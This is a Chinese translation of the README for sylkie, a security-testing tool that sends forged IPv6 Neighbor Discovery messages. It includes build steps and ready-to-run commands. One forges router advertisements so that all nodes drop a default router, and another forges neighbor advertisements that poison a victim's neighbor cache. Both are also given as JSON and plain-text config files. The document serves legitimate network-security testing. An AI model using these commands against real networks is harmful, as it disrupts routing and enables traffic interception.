sylkie一个命令行工具和库,用于使用邻居发现协议测试IPv6网络中常见地址欺骗安全漏洞。
注意: 该项目仍处于早期开发阶段。如果你遇到任何问题,请考虑提交一个issue。目前它只在Linux上运行。
更多详细信息,请参见Wiki。
获取代码并进行编译!
# 获取代码
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# 编译代码
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
以下描述 sylkie的基本用法。运行 sylkie -h或 sylkie <子命令> -h以获取更多详细信息,或查看高级用法获取更多示例。
注意: sylkie使用原始套接字发送伪造的广告。因此,可执行文件必须设置setuid位,或者以root身份运行。
下面列出了router-advert命令的基本用法。此命令将向指定IP或所有节点多播地址发送一条路由器通告消息,导致目标节点从其默认路由列表中移除<router-ip>/<prefix>。
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
一个基本示例。
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
这会向链路本地范围的全节点地址ff02::1发送一条“伪造的”路由器通告,导致所有节点从其默认路由列表中移除fe80::b95b:ee1:cafe:9720/64(链路层地址52:54:00:e3:f4:06)。
下面列出了sylkie邻居通告命令的基本用法。此命令将向指定IP发送一条伪造的邻居通告消息。
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
一个基本示例
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
这会向dst-ip(fe80::b95b:ee1:cafe:9720)发送一条“伪造的”邻居通告消息,导致邻居缓存中target-ip(fe80::61ad:fda3:3032:f6f4)的硬件地址更新为target-mac(52:54:00:c2:a7:7c)。
上述命令需要大量信息。为了方便起见,sylkie也接受包含启动发送伪造广告所需信息的JSON和纯文本文件。
子命令(router-advert、neighbor-advert)是一个键,其值是一个对象数组,对象的键和值分别对应选项和值。要运行命令,请将JSON文件的路径作为-j选项的参数传递。
要从JSON运行上面提供的router-advert示例,首先创建一个包含以下内容的文件。
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
创建文件后,使用以下命令开始发送广告。
sylkie -j /path/to/json
文件的每一行必须与你通过命令行(不含sylkie命令)提供的内容完全相同。
要从纯文本运行上面提供的neighbor-advert示例,首先创建一个包含以下内容的文件。
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
创建文件后,使用以下命令开始发送广告。
sylkie -x /path/to/file